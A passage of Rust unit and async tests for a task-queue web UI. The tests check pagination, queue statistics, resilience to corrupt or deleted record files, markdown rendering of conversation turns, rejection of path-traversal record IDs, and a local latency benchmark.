24186 }
24187 )
24188 .is_err()
24189 );
24190 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24191 assert_eq!(fresh[0], "record-9999");
24192 ui.monitor.list_walks.lock().unwrap().clear();
24193 assert!(
24194 page_ids(
24195 &ui,
24196 false,
24197 PageQuery {
24198 before: Some(cursor)
24199 }
24200 )
24201 .is_err()
24202 );
24203 }
24204
24205 #[tokio::test]
24206 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24207 let home = tempfile::tempdir().unwrap();
24208 let ui = delta_test_ui(home.path());
24209 let mut task = Task::new(
24210 "task".into(),
24211 "body".into(),
24212 PathBuf::from("/repo"),
24213 Source::Human,
24214 );
24215 ui.queue.put(&mut task).unwrap();
24216 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24217 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24218 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24219 let expected = parsed + usize::from(!cfg!(unix));
24220 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24221 task.status = crate::queue::TaskStatus::Held;
24222 ui.queue.put(&mut task).unwrap();
24223 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24224 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24225 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24226 ui.queue.put(&mut task).unwrap();
24227 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24228 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24229 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24230 }
24231
24232 #[tokio::test]
24233 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24234 let home = tempfile::tempdir().unwrap();
24235 let ui = delta_test_ui(home.path());
24236 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24237 let before = health(State(ui.clone())).await.unwrap().0;
24238 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24239 let after = health(State(ui)).await.unwrap().0;
24240 assert_ne!(before.notifications_rev, after.notifications_rev);
24241 assert_eq!(after.notifications_unread, 1);
24242 }
24243
24244 #[tokio::test]
24245 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24246 let home = tempfile::tempdir().unwrap();
24247 let ui = delta_test_ui(home.path());
24248 let queue = &ui.queue;
24249 let talks = &ui.talks;
24250 for i in 0..1000 {
24251 let id = format!("20261019-{i:06}-page");
24252 let mut task = Task::new(
24253 "task".into(),
24254 "instruction".repeat(100),
24255 PathBuf::from("/repo/magi"),
24256 Source::Human,
24257 );
24258 task.id = id.clone();
24259 if i == 0 {
24260 task.status = crate::queue::TaskStatus::Held;
24261 } else if i == 999 {
24262 task.status = crate::queue::TaskStatus::Blocked;
24263 task.blocked_by = vec!["20261019-000000-page".into()];
24264 }
24265 queue.put(&mut task).unwrap();
24266 seed_talk_at(talks, &id, "open");
24267 }
24268 let page = serde_json::to_value(
24269 queue_page(State(ui.clone()), Query(PageQuery::default()))
24270 .await
24271 .unwrap()
24272 .0,
24273 )
24274 .unwrap();
24275 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24276 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24277 assert!(
24278 !page["rows"][0]["stuck_roots"]
24279 .as_array()
24280 .unwrap()
24281 .is_empty()
24282 );
24283 let cursor = page["next"].as_str().unwrap();
24284 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24285 .as_str()
24286 .unwrap();
24287 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24289 let next = serde_json::to_value(
24290 queue_page(
24291 State(ui.clone()),
24292 Query(PageQuery {
24293 before: Some(cursor.into()),
24294 }),
24295 )
24296 .await
24297 .unwrap()
24298 .0,
24299 )
24300 .unwrap();
24301 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24302 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24303 let chats = serde_json::to_value(
24304 talks_page(State(ui.clone()), Query(PageQuery::default()))
24305 .await
24306 .unwrap()
24307 .0,
24308 )
24309 .unwrap();
24310 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24311 assert!(chats["rows"][0].get("pending").is_none());
24312 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24313 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24314 assert_eq!(counts["held"], 1);
24315 assert_eq!(counts["blocked"], 1);
24316 assert_eq!(counts["queued"], 997);
24317 }
24318
24319 #[test]
24320 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24321 let dir = tempfile::tempdir().unwrap();
24322 let ui = delta_test_ui(dir.path());
24323 let mut task = Task::new(
24324 "task".into(),
24325 "body".into(),
24326 PathBuf::from("/repo"),
24327 Source::Human,
24328 );
24329 task.runs = vec!["run-a".into()];
24330 ui.queue.put(&mut task).unwrap();
24331 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24332 task.runs = vec!["run-b".into()];
24333 let path = ui.queue.path_of(&task.id);
24334 let modified = path.metadata().unwrap().modified().unwrap();
24335 let replacement = path.with_extension("replacement");
24336 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24337 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24338 std::fs::write(&replacement, &bytes).unwrap();
24339 std::fs::File::options()
24340 .write(true)
24341 .open(&replacement)
24342 .unwrap()
24343 .set_times(std::fs::FileTimes::new().set_modified(modified))
24344 .unwrap();
24345 std::fs::rename(&replacement, &path).unwrap();
24346 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24347 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24348 std::fs::write(&path, "broken").unwrap();
24349 assert!(ui.find_task_for_run("run-b").is_err());
24350 std::fs::write(&path, bytes).unwrap();
24351 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24352 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24353 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24354 }
24355
24356 #[tokio::test]
24357 async fn conversation_core_is_independent_of_unreadable_related_history() {
24358 let home = tempfile::tempdir().unwrap();
24359 let ui = delta_test_ui(home.path());
24360 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24361 std::fs::create_dir_all(ui.queue.root()).unwrap();
24362 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24363 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24364 .await
24365 .unwrap();
24366 assert_eq!(core.talk.id, id);
24367 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24368 }
24369
24370 #[tokio::test]
24371 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24372 let home = tempfile::tempdir().unwrap();
24373 let ui = delta_test_ui(home.path());
24374 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24375 let mut task = Task::new(
24376 "Referenced task".into(),
24377 "Unrelated instruction history".repeat(1024),
24378 home.path().into(),
24379 Source::Human,
24380 );
24381 task.id = "20261019-000000-abcd".into();
24382 ui.queue.put(&mut task).unwrap();
24383 let mut conversation = ui.talks.get(&id).unwrap();
24384 conversation.turns.push(talk::Turn {
24385 sender: Some(talk::Sender::Persona),
24386 who: talk::Who::Agent,
24387 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24388 at: conversation.created_at,
24389 attachments: Vec::new(),
24390 usage: None,
24391 breaks: None,
24392 messages: Vec::new(),
24393 posted_by: None,
24394 });
24395 ui.talks.put(&mut conversation).unwrap();
24396
24397 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24398 let markdown = serde_json::to_value(&core.turn_bodies_md)
24399 .unwrap()
24400 .to_string();
24401 assert!(markdown.contains("\"strong\""));
24402 assert!(markdown.contains("\"table\""));
24403 assert!(markdown.contains("\"bullet_list\""));
24404 assert!(markdown.contains("\"code_block\""));
24405 assert!(!markdown.contains("\"internal_link\""));
24406 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24407 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24408 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24409
24410 let references = ui.references.for_talk(home.path(), &conversation);
24413 let mut decorated = core.turn_bodies_md[0].clone();
24414 references.markdown(&mut decorated);
24415 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24416 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24417 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24418 assert_eq!(
24419 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24420 conversation.turns[0].body
24421 );
24422 }
24423
24424 #[tokio::test]
24425 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24426 let home = tempfile::tempdir().unwrap();
24427 let ui = delta_test_ui(home.path());
24428 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24429 let mut run = RunState::new(
24430 PathBuf::from("/repo"),
24431 "main".into(),
24432 "01234567".into(),
24433 "Useful run".into(),
24434 Config::default(),
24435 );
24436 run.save_under(home.path()).unwrap();
24437 let mut task = Task::new(
24438 "Related".into(),
24439 "body".into(),
24440 PathBuf::from("/repo"),
24441 Source::Agent {
24442 run: talk_id.clone(),
24443 node: "chat".into(),
24444 },
24445 );
24446 task.runs = vec![run.id.clone()];
24447 ui.queue.put(&mut task).unwrap();
24448 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24449 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24450 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24451 assert!(
24452 run_detail(State(ui.clone()), Path(run.id.clone()))
24453 .await
24454 .is_ok()
24455 );
24456 assert!(
24457 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24458 .await
24459 .is_ok()
24460 );
24461 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24463 assert!(ui.find_task_for_run(&run.id).is_err());
24464 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24465 ui.queue.put(&mut task).unwrap();
24466 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24467 }
24468
24469 #[tokio::test]
24470 async fn conversation_sections_omit_large_task_instructions() {
24471 let home = tempfile::tempdir().unwrap();
24472 let ui = delta_test_ui(home.path());
24473 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24474 let mut task = Task::new(
24475 "filed task".into(),
24476 "large instruction ".repeat(65536),
24477 PathBuf::from("/repo"),
24478 Source::Agent {
24479 run: id.clone(),
24480 node: "chat".into(),
24481 },
24482 );
24483 ui.queue.put(&mut task).unwrap();
24484 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24485 assert_eq!(sections["tasks"][0]["id"], task.id);
24486 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24487 assert!(sections["tasks"][0].get("instruction").is_none());
24488 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24489 }
24490
24491 #[test]
24492 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24493 let home = tempfile::tempdir().unwrap();
24494 let talks = Talks::at(home.path().join("talks"));
24495 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24496 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24497 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24498 assert!(resolve_talk(&talks, "../outside").is_err());
24499 assert!(resolve_talk(&talks, "abcd").is_err());
24500 assert_eq!(
24501 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24502 "20261019-000001-abcd"
24503 );
24504 }
24505
24506 include!(concat!(
24507 env!("CARGO_MANIFEST_DIR"),
24508 "/tests/web_latency/baseline.rs"
24509 ));
24510
24511 include!(concat!(
24512 env!("CARGO_MANIFEST_DIR"),
24513 "/tests/web_latency/lists.rs"
24514 ));
24515
24516 #[tokio::test]
24517 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24518 async fn web_history_latency_measurement() {
24519 use std::time::Instant;
24520 let home = tempfile::tempdir().unwrap();
24521 let ui = delta_test_ui(home.path());
24522 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24523 let mut template = ui.talks.get(&id).unwrap();
24524 template.turns = serde_json::from_value(serde_json::json!([{
24525 "who": "operator", "body": "Show the accumulated work and its current status.",
24526 "at": Timestamp::now().to_string(),
24527 }]))
24528 .unwrap();
24529 std::fs::write(
24530 ui.talks.path_of(&id),
24531 serde_json::to_vec(&template).unwrap(),
24532 )
24533 .unwrap();
24534 let count = std::env::var("MAGI_BENCH_RECORDS")
24535 .ok()
24536 .and_then(|s| s.parse::<usize>().ok())
24537 .unwrap_or(1000);
24538 for i in 0..count {
24539 template.id = format!("20261019-{i:06}-history");
24540 template.pending = "history ".repeat(2048);
24541 std::fs::write(
24542 ui.talks.path_of(&template.id),
24543 serde_json::to_vec(&template).unwrap(),
24544 )
24545 .unwrap();
24546 let mut task = Task::new(
24547 "old task".into(),
24548 "instruction ".repeat(2048),
24549 PathBuf::from("/repo"),
24550 Source::Human,
24551 );
24552 task.id = format!("20261019-{i:06}-task");
24553 ui.queue.put(&mut task).unwrap();
24554 }
24555 for baseline in [true, false] {
24556 for clients in [1, 4] {
24557 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24558 let mut samples = Vec::new();
24559 for _ in 0..12 {
24560 let mut jobs = Vec::new();
24561 for _ in 0..clients {
24562 let ui = ui.clone();
24563 let id = id.clone();
24564 jobs.push(tokio::spawn(async move {
24565 let start = Instant::now();
24566 if baseline {
24567 let response =
24568 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24569 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24570 return (
24571 elapsed,
24572 elapsed,
24573 serde_json::to_vec(&response).unwrap().len(),
24574 );
24575 }
24576 let core = talk_core(State(ui.clone()), Path(id.clone()));
24577 let secondary = talk_sections(State(ui), Path(id));
24578 let (first, total) = tokio::join!(
24579 async {
24580 let value = core.await.unwrap().0;
24581 (
24582 start.elapsed().as_secs_f64() * 1000.0,
24583 serde_json::to_vec(&value).unwrap().len(),
24584 )
24585 },
24586 async {
24587 let value = secondary.await.unwrap().0;
24588 (
24589 start.elapsed().as_secs_f64() * 1000.0,
24590 serde_json::to_vec(&value).unwrap().len(),
24591 )
24592 }
24593 );
24594 (first.0, first.0.max(total.0), first.1 + total.1)
24595 }));
24596 }
24597 for job in jobs {
24598 samples.push(job.await.unwrap());
24599 }
24600 }
24601 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24602 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24603 first.sort_by(f64::total_cmp);
24604 total.sort_by(f64::total_cmp);
24605 let n = first.len();
24606 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24607 println!(
24608 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24609 first[n / 2],
24610 first[(n * 95 / 100).min(n - 1)],
24611 total[n / 2],
24612 total[(n * 95 / 100).min(n - 1)],
24613 samples[0].2
24614 );
24615 }
24616 }
24617 }
24618
24619 #[test]
24620 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24621 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24623 assert!(APP_JS.contains("function nextRunRequest(id)"));
24624 assert!(APP_JS.contains("function runShell(id, summary)"));
24625 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24626 assert!(APP_JS.contains("function taskShell(id, summary)"));
24627 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24628 }
24629}